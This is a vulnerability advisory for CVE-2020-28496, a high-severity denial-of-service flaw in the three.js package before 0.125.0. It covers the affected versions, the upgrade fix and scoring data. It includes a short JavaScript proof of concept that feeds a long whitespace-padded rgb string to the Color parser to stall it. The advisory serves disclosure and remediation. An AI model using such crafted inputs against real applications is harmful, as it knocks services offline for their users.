CVE-2020-28496
Denial of service in three
7.5
HIGH
CVSS 3.1
EPSS 1.4%
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. **PoC:** ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```
How to fix CVE-2020-28496
To remediate CVE-2020-28496, upgrade the affected package to a fixed version below.
- —upgrade to 0.125.0 or later
Is CVE-2020-28496 being exploited?
Low — EPSS is 1.4%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 0.125.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |